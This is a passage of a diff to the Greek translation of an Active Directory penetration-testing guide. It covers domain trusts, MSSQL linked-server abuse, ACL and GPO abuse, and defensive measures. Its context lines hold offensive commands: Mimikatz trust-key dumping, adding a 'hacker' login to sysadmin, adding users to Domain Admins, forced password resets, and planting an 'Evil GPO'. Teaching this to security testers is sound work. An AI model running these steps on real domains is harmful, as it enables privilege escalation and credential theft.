κοινή ρύθμιση εντός του ίδιου δάσους, όπου μια παιδική τομέα έχει αυτόματα μια διπλή μεταβατική εμπιστοσύνη με τον γονικό τομέα της. Ουσιαστικά, αυτό σημαίνει ότι οι αιτήσεις αυθεντικοποίησης μπορούν να ρέουν ομαλά μεταξύ του γονέα και του παιδιού. - **Διασυνδεδεμένες Εμπιστοσύνες**: Αναφέρονται ως "συντομευμένες εμπιστοσύνες", αυτές καθιερώνονται μεταξύ παιδικών τομέων για να επιταχύνουν τις διαδικασίες παραπομπής. Σε πολύπλοκα δάση, οι παραπομπές αυθεντικοποίησης συνήθως πρέπει να ταξιδεύουν μέχρι τη ρίζα του δάσους και στη συνέχεια προς τα κάτω στον στόχο τομέα. Δημιουργώντας διασυνδέσεις, το ταξίδι συντομεύεται, κάτι που είναι ιδιαίτερα ευεργετικό σε γεωγραφικά διασκορπισμένα περιβάλλοντα. -- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω μιας εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες. -- **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του δάσους ρίζας και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](). -- **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο δασών ριζών, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας. +- **Εξωτερικές Εμπιστοσύνες**: Αυτές καθιερώνονται μεταξύ διαφορετικών, άσχετων τομέων και είναι μη μεταβατικές από τη φύση τους. Σύμφωνα με [την τεκμηρίωση της Microsoft](), οι εξωτερικές εμπιστοσύνες είναι χρήσιμες για την πρόσβαση σε πόρους σε έναν τομέα εκτός του τρέχοντος δάσους που δεν είναι συνδεδεμένος μέσω εμπιστοσύνης δάσους. Η ασφάλεια ενισχύεται μέσω φιλτραρίσματος SID με εξωτερικές εμπιστοσύνες. +- **Εμπιστοσύνες Ρίζας Δέντρου**: Αυτές οι εμπιστοσύνες καθιερώνονται αυτόματα μεταξύ του ριζικού τομέα του δάσους και ενός νέου ριζικού δέντρου που προστίθεται. Αν και δεν συναντώνται συχνά, οι εμπιστοσύνες ρίζας δέντρου είναι σημαντικές για την προσθήκη νέων δέντρων τομέα σε ένα δάσος, επιτρέποντάς τους να διατηρούν ένα μοναδικό όνομα τομέα και διασφαλίζοντας τη διπλή μεταβατικότητα. Περισσότερες πληροφορίες μπορείτε να βρείτε στον [οδηγό της Microsoft](). +- **Εμπιστοσύνες Δάσους**: Αυτός ο τύπος εμπιστοσύνης είναι μια διπλή μεταβατική εμπιστοσύνη μεταξύ δύο ριζικών τομέων δάσους, επιβάλλοντας επίσης φιλτράρισμα SID για την ενίσχυση των μέτρων ασφαλείας. - **Εμπιστοσύνες MIT**: Αυτές οι εμπιστοσύνες καθιερώνονται με μη Windows, [συμβατές με RFC4120](https://tools.ietf.org/html/rfc4120) τομείς Kerberos. Οι εμπιστοσύνες MIT είναι λίγο πιο εξειδικευμένες και απευθύνονται σε περιβάλλοντα που απαιτούν ενσωμάτωση με συστήματα βασισμένα σε Kerberos εκτός του οικοσυστήματος Windows. #### Άλλες διαφορές στις **σχέσεις εμπιστοσύνης** - Μια σχέση εμπιστοσύνης μπορεί επίσης να είναι **μεταβατική** (A εμπιστεύεται B, B εμπιστεύεται C, τότε A εμπιστεύεται C) ή **μη μεταβατική**. -- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλο) ή ως **μονοκατεύθυνση εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλο). +- Μια σχέση εμπιστοσύνης μπορεί να ρυθμιστεί ως **αμφίδρομη εμπιστοσύνη** (και οι δύο εμπιστεύονται ο ένας τον άλλο) ή ως **μονομερή εμπιστοσύνη** (μόνο ένας από αυτούς εμπιστεύεται τον άλλο). ### Διαδρομή Επίθεσης @@ -550,11 +552,11 @@ laps.md 1. Το kerberoast σε αυτή την περίπτωση θα μπορούσε να είναι μια άλλη επιλογή. 3. **Συμβιβάστε** τους **λογαριασμούς** που μπορούν να **μεταπηδήσουν** μέσω τομέων. -Οι επιτιθέμενοι θα μπορούσαν να έχουν πρόσβαση σε πόρους σε έναν άλλο τομέα μέσω τριών κύριων μηχανισμών: +Οι επιτιθέμενοι θα μπορούσαν να έχουν πρόσβαση σε πόρους σε άλλο τομέα μέσω τριών κύριων μηχανισμών: - **Τοπική Συμμετοχή Ομάδας**: Οι κύριοι μπορεί να προστεθούν σε τοπικές ομάδες σε μηχανές, όπως η ομάδα “Administrators” σε έναν διακομιστή, παρέχοντας τους σημαντικό έλεγχο πάνω σε αυτή τη μηχανή. - **Συμμετοχή Ομάδας Ξένου Τομέα**: Οι κύριοι μπορούν επίσης να είναι μέλη ομάδων εντός του ξένου τομέα. Ωστόσο, η αποτελεσματικότητα αυτής της μεθόδου εξαρτάται από τη φύση της εμπιστοσύνης και την έκταση της ομάδας. -- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους θέλουν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι μια ανεκτίμητη πηγή. +- **Λίστες Ελέγχου Πρόσβασης (ACLs)**: Οι κύριοι μπορεί να καθορίζονται σε μια **ACL**, ιδιαίτερα ως οντότητες σε **ACEs** εντός μιας **DACL**, παρέχοντας τους πρόσβαση σε συγκεκριμένους πόρους. Για όσους επιθυμούν να εμβαθύνουν στους μηχανισμούς των ACLs, DACLs και ACEs, το λευκό έγγραφο με τίτλο “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” είναι ένας ανεκτίμητος πόρος. ### Βρείτε εξωτερικούς χρήστες/ομάδες με δικαιώματα @@ -568,7 +570,7 @@ Get-DomainForeignUser # Get groups inside a domain with users our Get-DomainForeignGroupMember ``` -### Ανάβαση προνομίων δάσους Child-to-Parent +### Ανάβαση προνομίων δάσους από Παιδί σε Γονέα ```bash # Fro powerview Get-DomainTrust @@ -595,7 +597,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts ``` > [!WARNING] > Υπάρχουν **2 αξιόπιστα κλειδιά**, ένα για _Child --> Parent_ και ένα άλλο για _Parent_ --> _Child_.\ -> Μπορείτε να δείτε ποιο χρησιμοποιείται από το τρέχον domain με: +> Μπορείτε να δείτε αυτό που χρησιμοποιείται από το τρέχον domain με: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local @@ -604,7 +606,8 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts #### SID-History Injection -Αναβαθμίστε ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι την εμπιστοσύνη με την ένεση SID-History: +Αναβαθμίστε ως Enterprise admin στο child/parent domain εκμεταλλευόμενοι την εμπιστοσύνη με την εισαγωγή SID-History: + {{#ref}} sid-history-injection.md @@ -616,7 +619,7 @@ sid-history-injection.md **Link GPO to root DC site** -Το Sites container της Configuration NC περιλαμβάνει πληροφορίες σχετικά με όλους τους υπολογιστές που είναι συνδεδεμένοι στο domain εντός του δάσους AD. Λειτουργώντας με SYSTEM privileges σε οποιοδήποτε DC, οι επιτιθέμενοι μπορούν να συνδέσουν GPOs στους root DC sites. Αυτή η ενέργεια ενδέχεται να θέσει σε κίνδυνο το root domain χειραγωγώντας τις πολιτικές που εφαρμόζονται σε αυτούς τους ιστότοπους. +Το Sites container της Configuration NC περιλαμβάνει πληροφορίες σχετικά με όλους τους υπολογιστές που είναι συνδεδεμένοι στο domain εντός του AD δάσους. Λειτουργώντας με SYSTEM privileges σε οποιοδήποτε DC, οι επιτιθέμενοι μπορούν να συνδέσουν GPOs στους root DC sites. Αυτή η ενέργεια ενδέχεται να θέσει σε κίνδυνο το root domain, χειραγωγώντας τις πολιτικές που εφαρμόζονται σε αυτούς τους ιστότοπους. Για λεπτομερείς πληροφορίες, μπορείτε να εξερευνήσετε έρευνες σχετικά με [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). @@ -626,11 +629,13 @@ sid-history-injection.md Λεπτομερής ανάλυση και καθοδήγηση βήμα προς βήμα μπορούν να βρεθούν σε: + {{#ref}} golden-dmsa-gmsa.md {{#endref}} -Συμπληρωματική επίθεση με delegated MSA (BadSuccessor – εκμετάλλευση χαρακτηριστικών μετανάστευσης): +Συμπληρωματική επίθεση MSA (BadSuccessor – εκμετάλλευση χαρακτηριστικών μετανάστευσης): + {{#ref}} badsuccessor-dmsa-migration-abuse.md @@ -720,9 +725,9 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move [**Μάθετε περισσότερα σχετικά με το πώς να προστατεύσετε τα credentials εδώ.**](../stealing-credentials/credentials-protections.md) -### **Αμυντικά Μέτρα για την Προστασία Credentials** +### **Αμυντικά Μέτρα για την Προστασία των Credentials** -- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους υπολογιστές. +- **Περιορισμοί Domain Admins**: Συνιστάται οι Domain Admins να επιτρέπεται να συνδέονται μόνο σε Domain Controllers, αποφεύγοντας τη χρήση τους σε άλλους hosts. - **Privileges Λογαριασμού Υπηρεσίας**: Οι υπηρεσίες δεν θα πρέπει να εκτελούνται με privileges Domain Admin (DA) για να διατηρηθεί η ασφάλεια. - **Περιορισμός Χρόνου Privilege**: Για εργασίες που απαιτούν DA privileges, η διάρκεια τους θα πρέπει να περιορίζεται. Αυτό μπορεί να επιτευχθεί με: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` @@ -734,8 +739,8 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move ### **Αναγνώριση Απάτης** -- **Για Αντικείμενα Χρηστών**: Υποψίες δείκτες περιλαμβάνουν ασυνήθιστο ObjectSID, σπάνιες συνδέσεις, ημερομηνίες δημιουργίας και χαμηλούς αριθμούς κακών κωδικών. -- **Γενικοί Δείκτες**: Η σύγκριση χαρακτηριστικών πιθανών αντικειμένων δόλωμα με αυτά των γνήσιων μπορεί να αποκαλύψει ασυνέπειες. Εργαλεία όπως το [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) μπορούν να βοηθήσουν στην αναγνώριση τέτοιων απατών. +- **Για Αντικείμενα Χρηστών**: Ύποπτα σημάδια περιλαμβάνουν ασυνήθιστο ObjectSID, σπάνιες συνδέσεις, ημερομηνίες δημιουργίας και χαμηλούς αριθμούς κακών κωδικών. +- **Γενικά Σημάδια**: Η σύγκριση χαρακτηριστικών πιθανών αντικειμένων δόλωμα με αυτά των γνήσιων μπορεί να αποκαλύψει ασυνέπειες. Εργαλεία όπως το [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) μπορούν να βοηθήσουν στην αναγνώριση τέτοιων απατών. ### **Παράκαμψη Συστήματος Ανίχνευσης** diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index 0c24d375f..78a9b5bda 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -135,7 +135,7 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } ``` ## MSSQL Basic Abuse -### Access DB +### Πρόσβαση στη Βάση Δεδομένων ```bash # List databases Get-SQLInstanceDomain | Get-SQLDatabase @@ -252,7 +252,7 @@ EXEC sp_linkedservers; select * from openquery("dcorp-sql1", 'select * from master..sysservers') ``` > [!WARNING] -> Ελέγξτε πού χρησιμοποιούνται τα διπλά και τα απλά εισαγωγικά, είναι σημαντικό να τα χρησιμοποιείτε με αυτόν τον τρόπο. +> Ελέγξτε πού χρησιμοποιούνται τα διπλά και τα μονά εισαγωγικά, είναι σημαντικό να τα χρησιμοποιείτε με αυτόν τον τρόπο. ![](<../../images/image (643).png>) @@ -278,7 +278,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT Ο **τοπικός χρήστης MSSQL** συνήθως έχει έναν ειδικό τύπο προνομίου που ονομάζεται **`SeImpersonatePrivilege`**. Αυτό επιτρέπει στον λογαριασμό να "παριστάνει έναν πελάτη μετά την αυθεντικοποίηση". -Μια στρατηγική που έχουν προτείνει πολλοί συγγραφείς είναι να αναγκάσουν μια υπηρεσία SYSTEM να αυθεντικοποιηθεί σε μια κακόβουλη ή υπηρεσία man-in-the-middle που δημιουργεί ο επιτιθέμενος. Αυτή η κακόβουλη υπηρεσία είναι στη συνέχεια ικανή να παριστάνει την υπηρεσία SYSTEM ενώ προσπαθεί να αυθεντικοποιηθεί. +Μια στρατηγική που έχουν προτείνει πολλοί συγγραφείς είναι να αναγκάσουν μια υπηρεσία SYSTEM να αυθεντικοποιηθεί σε μια κακόβουλη ή υπηρεσία man-in-the-middle που δημιουργεί ο επιτιθέμενος. Αυτή η κακόβουλη υπηρεσία μπορεί στη συνέχεια να παριστάνει την υπηρεσία SYSTEM ενώ προσπαθεί να αυθεντικοποιηθεί. [SweetPotato](https://github.com/CCob/SweetPotato) έχει μια συλλογή από αυτές τις διάφορες τεχνικές που μπορούν να εκτελούνται μέσω της εντολής `execute-assembly` του Beacon. @@ -286,6 +286,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT ### NTLM Relay Σημείου Διαχείρισης SCCM (Εξαγωγή Μυστικών OSD) Δείτε πώς οι προεπιλεγμένοι ρόλοι SQL του SCCM **Σημείων Διαχείρισης** μπορούν να καταχραστούν για να εξάγουν τον Λογαριασμό Πρόσβασης Δικτύου και τα μυστικά Task-Sequence απευθείας από τη βάση δεδομένων του ιστότοπου: + {{#ref}} sccm-management-point-relay-sql-policy-secrets.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index bd808a0a2..b0bf6f4a5 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -6,13 +6,14 @@ ## BadSuccessor + {{#ref}} BadSuccessor.md {{#endref}} -## **GenericAll Δικαιώματα στον Χρήστη** +## **GenericAll Δικαιώματα σε Χρήστη** -Αυτό το προνόμιο παρέχει σε έναν επιτιθέμενο πλήρη έλεγχο πάνω σε έναν λογαριασμό χρήστη-στόχο. Μόλις επιβεβαιωθούν τα δικαιώματα `GenericAll` χρησιμοποιώντας την εντολή `Get-ObjectAcl`, ένας επιτιθέμενος μπορεί να: +Αυτή η προνόμια παρέχει σε έναν επιτιθέμενο πλήρη έλεγχο πάνω σε έναν λογαριασμό χρήστη στόχο. Μόλις επιβεβαιωθούν τα δικαιώματα `GenericAll` χρησιμοποιώντας την εντολή `Get-ObjectAcl`, ένας επιτιθέμενος μπορεί να: - **Αλλάξει τον Κωδικό Πρόσβασης του Στόχου**: Χρησιμοποιώντας `net user /domain`, ο επιτιθέμενος μπορεί να επαναφέρει τον κωδικό πρόσβασης του χρήστη. - **Στοχευμένο Kerberoasting**: Ανάθεση ενός SPN στον λογαριασμό του χρήστη για να γίνει kerberoastable, στη συνέχεια χρησιμοποιήστε το Rubeus και το targetedKerberoast.py για να εξάγετε και να προσπαθήσετε να σπάσετε τους κατακερματισμούς του εισιτηρίου χορήγησης εισιτηρίων (TGT). @@ -27,7 +28,7 @@ Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` ## **GenericAll Δικαιώματα σε Ομάδα** -Αυτό το προνόμιο επιτρέπει σε έναν επιτιθέμενο να χειρίζεται τις συμμετοχές σε ομάδες εάν έχει δικαιώματα `GenericAll` σε μια ομάδα όπως οι `Domain Admins`. Αφού προσδιορίσει το διακριτό όνομα της ομάδας με το `Get-NetGroup`, ο επιτιθέμενος μπορεί να: +Αυτό το προνόμιο επιτρέπει σε έναν επιτιθέμενο να χειρίζεται τις συμμετοχές σε ομάδες αν έχει δικαιώματα `GenericAll` σε μια ομάδα όπως οι `Domain Admins`. Αφού προσδιορίσει το διακριτό όνομα της ομάδας με το `Get-NetGroup`, ο επιτιθέμενος μπορεί να: - **Προσθέσει τον Εαυτό του στην Ομάδα Domain Admins**: Αυτό μπορεί να γίνει μέσω άμεσων εντολών ή χρησιμοποιώντας modules όπως το Active Directory ή το PowerSploit. ```bash @@ -65,7 +66,7 @@ net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -Η κατοχή του `ExtendedRight` σε έναν χρήστη για το `User-Force-Change-Password` επιτρέπει την επαναφορά κωδικών πρόσβασης χωρίς να γνωρίζετε τον τρέχοντα κωδικό. Η επαλήθευση αυτού του δικαιώματος και η εκμετάλλευσή του μπορούν να γίνουν μέσω PowerShell ή εναλλακτικών εργαλείων γραμμής εντολών, προσφέροντας αρκετές μεθόδους για την επαναφορά του κωδικού πρόσβασης ενός χρήστη, συμπεριλαμβανομένων διαδραστικών συνεδριών και one-liners για μη διαδραστικά περιβάλλοντα. Οι εντολές κυμαίνονται από απλές κλήσεις PowerShell έως τη χρήση του `rpcclient` σε Linux, επιδεικνύοντας την ευελιξία των επιθέσεων. +Η κατοχή του `ExtendedRight` σε έναν χρήστη για το `User-Force-Change-Password` επιτρέπει την επαναφορά κωδικών πρόσβασης χωρίς να γνωρίζετε τον τρέχοντα κωδικό. Η επαλήθευση αυτού του δικαιώματος και η εκμετάλλευσή του μπορούν να γίνουν μέσω PowerShell ή εναλλακτικών εργαλείων γραμμής εντολών, προσφέροντας αρκετές μεθόδους για την επαναφορά του κωδικού πρόσβασης ενός χρήστη, συμπεριλαμβανομένων διαδραστικών συνεδριών και one-liners για μη διαδραστικά περιβάλλοντα. Οι εντολές κυμαίνονται από απλές κλήσεις PowerShell έως τη χρήση του `rpcclient` σε Linux, επιδεικνύοντας την ευελιξία των διανυσμάτων επίθεσης. ```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -92,7 +93,7 @@ Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\ ``` ## **GenericWrite on Group** -Με αυτό το προνόμιο, οι επιτιθέμενοι μπορούν να χειρίζονται τη συμμετοχή σε ομάδες, όπως το να προσθέτουν τους εαυτούς τους ή άλλους χρήστες σε συγκεκριμένες ομάδες. Αυτή η διαδικασία περιλαμβάνει τη δημιουργία ενός αντικειμένου διαπιστευτηρίων, τη χρήση του για την προσθήκη ή την αφαίρεση χρηστών από μια ομάδα και την επαλήθευση των αλλαγών συμμετοχής με εντολές PowerShell. +Με αυτό το προνόμιο, οι επιτιθέμενοι μπορούν να χειρίζονται τη συμμετοχή σε ομάδες, όπως το να προσθέτουν τους εαυτούς τους ή άλλους χρήστες σε συγκεκριμένες ομάδες. Αυτή η διαδικασία περιλαμβάνει τη δημιουργία ενός αντικειμένου διαπιστευτηρίων, τη χρήση του για την προσθήκη ή την αφαίρεση χρηστών από μια ομάδα και την επαλήθευση των αλλαγών στη συμμετοχή με εντολές PowerShell. ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -110,9 +111,9 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.commitchanges() ``` -## **Αναπαραγωγή στον Τομέα (DCSync)** +## **Αναπαραγωγή στο Domain (DCSync)** -Η επίθεση DCSync εκμεταλλεύεται συγκεκριμένα δικαιώματα αναπαραγωγής στον τομέα για να μιμηθεί έναν Domain Controller και να συγχρονίσει δεδομένα, συμπεριλαμβανομένων των διαπιστευτηρίων χρηστών. Αυτή η ισχυρή τεχνική απαιτεί δικαιώματα όπως το `DS-Replication-Get-Changes`, επιτρέποντας στους επιτιθέμενους να εξάγουν ευαίσθητες πληροφορίες από το περιβάλλον AD χωρίς άμεση πρόσβαση σε έναν Domain Controller. [**Μάθετε περισσότερα για την επίθεση DCSync εδώ.**](../dcsync.md) +Η επίθεση DCSync εκμεταλλεύεται συγκεκριμένα δικαιώματα αναπαραγωγής στο domain για να μιμηθεί έναν Domain Controller και να συγχρονίσει δεδομένα, συμπεριλαμβανομένων των διαπιστευτηρίων χρηστών. Αυτή η ισχυρή τεχνική απαιτεί δικαιώματα όπως το `DS-Replication-Get-Changes`, επιτρέποντας στους επιτιθέμενους να εξάγουν ευαίσθητες πληροφορίες από το περιβάλλον AD χωρίς άμεση πρόσβαση σε έναν Domain Controller. [**Μάθετε περισσότερα για την επίθεση DCSync εδώ.**](../dcsync.md) ## Ανάθεση GPO @@ -124,11 +125,11 @@ $ADSI.psbase.commitchanges() Για να εντοπιστούν κακώς διαμορφωμένα GPO, τα cmdlets του PowerSploit μπορούν να συνδυαστούν. Αυτό επιτρέπει την ανακάλυψη GPO που έχει δικαιώματα διαχείρισης από έναν συγκεκριμένο χρήστη: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Υπολογιστές με Εφαρμοσμένη Πολιτική**: Είναι δυνατόν να προσδιοριστούν ποιοι υπολογιστές επηρεάζονται από μια συγκεκριμένη GPO, βοηθώντας στην κατανόηση της έκτασης της πιθανής επίδρασης. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Υπολογιστές με Εφαρμοσμένη Μια Δοθείσα Πολιτική**: Είναι δυνατόν να προσδιοριστούν ποιοι υπολογιστές επηρεάζονται από μια συγκεκριμένη GPO, βοηθώντας στην κατανόηση της έκτασης της πιθανής επίδρασης. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**Πολιτικές Εφαρμοσμένες σε Έναν Δοσμένο Υπολογιστή**: Για να δείτε ποιες πολιτικές εφαρμόζονται σε έναν συγκεκριμένο υπολογιστή, μπορούν να χρησιμοποιηθούν εντολές όπως το `Get-DomainGPO`. +**Πολιτικές Εφαρμοσμένες σε Έναν Δοθέντα Υπολογιστή**: Για να δείτε ποιες πολιτικές εφαρμόζονται σε έναν συγκεκριμένο υπολογιστή, μπορούν να χρησιμοποιηθούν εντολές όπως το `Get-DomainGPO`. -**OUs με Εφαρμοσμένη Πολιτική**: Η αναγνώριση οργανωτικών μονάδων (OUs) που επηρεάζονται από μια δεδομένη πολιτική μπορεί να γίνει χρησιμοποιώντας το `Get-DomainOU`. +**OUs με Εφαρμοσμένη Μια Δοθείσα Πολιτική**: Η αναγνώριση οργανωτικών μονάδων (OUs) που επηρεάζονται από μια δεδομένη πολιτική μπορεί να γίνει χρησιμοποιώντας το `Get-DomainOU`. Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**GPOHound**](https://github.com/cogiceo/GPOHound) για να καταμετρήσετε GPO και να βρείτε προβλήματα σε αυτά. @@ -159,15 +160,15 @@ Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key " Κατά την επιθεώρηση των Προγραμματισμένων Εργασιών για ένα συγκεκριμένο GPO, όπως η `Misconfigured Policy`, μπορεί να επιβεβαιωθεί η προσθήκη εργασιών όπως η `evilTask`. Αυτές οι εργασίες δημιουργούνται μέσω σεναρίων ή εργαλείων γραμμής εντολών που στοχεύουν να τροποποιήσουν τη συμπεριφορά του συστήματος ή να κλιμακώσουν τα δικαιώματα. -Η δομή της εργασίας, όπως φαίνεται στο αρχείο διαμόρφωσης XML που δημιουργείται από το `New-GPOImmediateTask`, περιγράφει τις λεπτομέρειες της προγραμματισμένης εργασίας - συμπεριλαμβανομένης της εντολής που θα εκτελεστεί και των ενεργοποιητών της. Αυτό το αρχείο αντιπροσωπεύει τον τρόπο με τον οποίο οι προγραμματισμένες εργασίες ορίζονται και διαχειρίζονται εντός των GPO, παρέχοντας μια μέθοδο για την εκτέλεση αυθαίρετων εντολών ή σεναρίων ως μέρος της επιβολής πολιτικής. +Η δομή της εργασίας, όπως φαίνεται στο αρχείο διαμόρφωσης XML που δημιουργείται από το `New-GPOImmediateTask`, περιγράφει τις λεπτομέρειες της προγραμματισμένης εργασίας - συμπεριλαμβανομένης της εντολής που θα εκτελεστεί και των ενεργοποιητών της. Αυτό το αρχείο αντιπροσωπεύει τον τρόπο με τον οποίο ορίζονται και διαχειρίζονται οι προγραμματισμένες εργασίες εντός των GPO, παρέχοντας μια μέθοδο για την εκτέλεση αυθαίρετων εντολών ή σεναρίων ως μέρος της επιβολής πολιτικής. ### Χρήστες και Ομάδες -Τα GPO επιτρέπουν επίσης την παραποίηση των μελών χρηστών και ομάδων στα συστήματα στόχους. Με την επεξεργασία των αρχείων πολιτικής Χρηστών και Ομάδων απευθείας, οι επιτιθέμενοι μπορούν να προσθέσουν χρήστες σε προνομιούχες ομάδες, όπως η τοπική ομάδα `administrators`. Αυτό είναι δυνατό μέσω της ανάθεσης δικαιωμάτων διαχείρισης GPO, που επιτρέπει την τροποποίηση των αρχείων πολιτικής για να περιλαμβάνουν νέους χρήστες ή να αλλάζουν τις συμμετοχές ομάδων. +Τα GPO επιτρέπουν επίσης την παραποίηση των μελών χρηστών και ομάδων στα συστήματα στόχους. Με την άμεση επεξεργασία των αρχείων πολιτικής Χρηστών και Ομάδων, οι επιτιθέμενοι μπορούν να προσθέσουν χρήστες σε προνομιούχες ομάδες, όπως η τοπική ομάδα `administrators`. Αυτό είναι δυνατό μέσω της ανάθεσης δικαιωμάτων διαχείρισης GPO, που επιτρέπει την τροποποίηση των αρχείων πολιτικής για να περιλαμβάνουν νέους χρήστες ή να αλλάζουν τα μέλη ομάδων. -Το αρχείο διαμόρφωσης XML για Χρήστες και Ομάδες περιγράφει πώς αυτές οι αλλαγές υλοποιούνται. Με την προσθήκη εγγραφών σε αυτό το αρχείο, συγκεκριμένοι χρήστες μπορούν να αποκτήσουν ανυψωμένα δικαιώματα σε επηρεαζόμενα συστήματα. Αυτή η μέθοδος προσφέρει μια άμεση προσέγγιση για την κλιμάκωση δικαιωμάτων μέσω της παραποίησης GPO. +Το αρχείο διαμόρφωσης XML για Χρήστες και Ομάδες περιγράφει πώς εφαρμόζονται αυτές οι αλλαγές. Με την προσθήκη εγγραφών σε αυτό το αρχείο, συγκεκριμένοι χρήστες μπορούν να αποκτήσουν ανυψωμένα δικαιώματα σε επηρεαζόμενα συστήματα. Αυτή η μέθοδος προσφέρει μια άμεση προσέγγιση για την κλιμάκωση δικαιωμάτων μέσω της παραποίησης GPO. -Επιπλέον, μπορούν να εξεταστούν πρόσθετες μέθοδοι για την εκτέλεση κώδικα ή τη διατήρηση της επιμονής, όπως η εκμετάλλευση σεναρίων σύνδεσης/αποσύνδεσης, η τροποποίηση κλειδιών μητρώου για αυτόματες εκκινήσεις, η εγκατάσταση λογισμικού μέσω αρχείων .msi ή η επεξεργασία ρυθμίσεων υπηρεσιών. Αυτές οι τεχνικές παρέχουν διάφορες οδούς για τη διατήρηση πρόσβασης και τον έλεγχο των συστημάτων στόχων μέσω της κακοποίησης των GPO. +Επιπλέον, μπορούν να εξεταστούν πρόσθετες μέθοδοι για την εκτέλεση κώδικα ή τη διατήρηση της επιμονής, όπως η εκμετάλλευση σεναρίων σύνδεσης/αποσύνδεσης, η τροποποίηση κλειδιών μητρώου για autoruns, η εγκατάσταση λογισμικού μέσω αρχείων .msi ή η επεξεργασία ρυθμίσεων υπηρεσιών. Αυτές οι τεχνικές παρέχουν διάφορες οδούς για τη διατήρηση πρόσβασης και τον έλεγχο των συστημάτων στόχων μέσω της κακοποίησης των GPO. ## Αναφορές diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md index 939b024c9..35cf58644 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md @@ -32,11 +32,11 @@ Rubeus.exe asktgt /user:john 